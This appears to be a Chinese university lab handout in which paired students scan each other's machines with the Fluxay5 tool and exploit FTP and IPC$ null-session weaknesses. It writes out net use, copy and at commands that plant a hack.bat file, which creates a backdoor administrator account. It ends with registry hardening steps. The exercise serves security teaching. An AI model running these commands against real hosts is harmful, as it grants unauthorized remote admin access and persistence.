1、任务二：使用流光 Fluxay5 综合扫描工具并分析结果各部份功能：1: 暴力破解的设置区域2：控制台输出3：扫描出来的典型漏洞列表4：扫描或者暴力破解成功的用户帐号5：扫描和暴力破解的速度控制6：扫描和暴力破解时的状态显示7：中止按钮8：探测记录查找选择“文件（F）”“高级扫描向导（W）”可打开高级扫描向导，设置扫描参数。扫描结束后，流光会自动打开 HTML 格式的扫描报告，而且还把可利用的主机列在流光界面的最下方，如图 1 所示。图 1单击主机列表中的主机便可以直接对目标主机进行连接操作，如图 2 所示。图 2除了使用“高级扫描向导”配置高级扫描外，还可以在探测菜单中直接选取高级扫描工具设
2、置：分组角色：学生 A、学生 B 互相扫描对方主机。实验步骤：（1）开放 FTP 服务，允许匿名连接。（2）打开流光 FLUXAY5 工具，使用“高级扫描向导”进行设置，使其能对同组学生主机的全部端口、服务、漏洞、所有用户等进行全面的扫描。（3）仔细观察扫描结果，分析同组学生主机上存在的各种漏洞。（4）根据扫描结果分析 FTP 漏洞：如结果显示有漏洞，则利用“流光”提供的入侵菜单进行 FTP 连接，尝试上传或下载文件。（5）根据扫描结果分析 IPC$漏洞：IPC 是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限，在远程管理计算机和查看计算机的共享资源时使用。利用 IP
3、C$,连接者可以与目标主机建立一个空连接而无需用户名和密码，从而可以得到目标主机上的用户列表，并可能破解用户密码。IPC$相关命令：1.建立和目标的 ipc$连接命令：net use 目标 IPipc$ “密码”/user:“ADMIN”（管理员账号），如：net use 192.168.27.128ipc$“”/user:“administrator“2.映射网络驱动器命令（将目标主机的盘映射到本地磁盘）：net use 本地盘符目标 IP盘符$，如：net use z:192.168.27.128c$ 3.和目标建立了 ipc$后，则可直接用 IP 加盘符加$访问。比如：copy 文件名I
4、P盘符$路径文件名，如：copy hack.bat192.168.27.128c$也可直接对映射为本地磁盘的网络驱动器操作。4.管理计算机上面的账号命令：net user查看账号命令：net user建立账号命令：net user name passwd/add（net user sysbak123456 /add ：添加用户名为 sysback，密码为 123456 的账号）删除账号命令：net user name /delete5.管理工作组命令：net localgroup 组名用户名/adddelete如：net localgroupadministrators sysback/add
5、。该命令表示把 sysback用户添加到管理员组（administrators）。6.查看目标计算机的系统时间：net time ip7.在远程主机上建立计划任务：at IP TIME COMMAND at 192.168.27.128 13:45 c:hack.bat（该命令表示在下午 13 点 45 分执行目标主机 C 盘中的 hack.bat 文件,时间一定要晚于当前远程主机系统时间）8.删除和目标的 ipc$连接命令：net use IPipc$ /del9.断开所有 IPC$连接：net use * /del10.禁止建立空连接：运行 regedit，找到主键HKEY_LOCAL_M
6、ACHINE SYSTEM CurrentControlSetControl LSA ，把RestrictAnonymous（DWORD）的键值改为：00000001。11.禁止自动打开默认共享：找到主键HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters，把 AutoShareServer（DWORD）的键值改为:00000000，如果不存在，就新建一个再改键值。利用破解的用户 ADMINISTRATOR 对目标主机进行留后门入侵，步骤：1.编写批处理文件 hack.bat，文件中包含两个命令：1）建立一个新账号，2）将新账号加入 administrators 组。2.使用 net 命令与目标主机建立连接3.将批处理文件 hack.back 拷贝至目标主机上。4.通过计划任务使目标主机执行 hack.bat 文件。5.断开所有 IPC$连接。6.通过采用新账号与目标主机建立连接来验证账号是否成功建立。7.删除和目标主机的连接。执行安全防护措施：1.目标主机对注册表进行修改：禁止建立空连接，禁止自动打开默认共享2.重新使用 net 命令与目标主机建立连接，观察结果是否有变化。
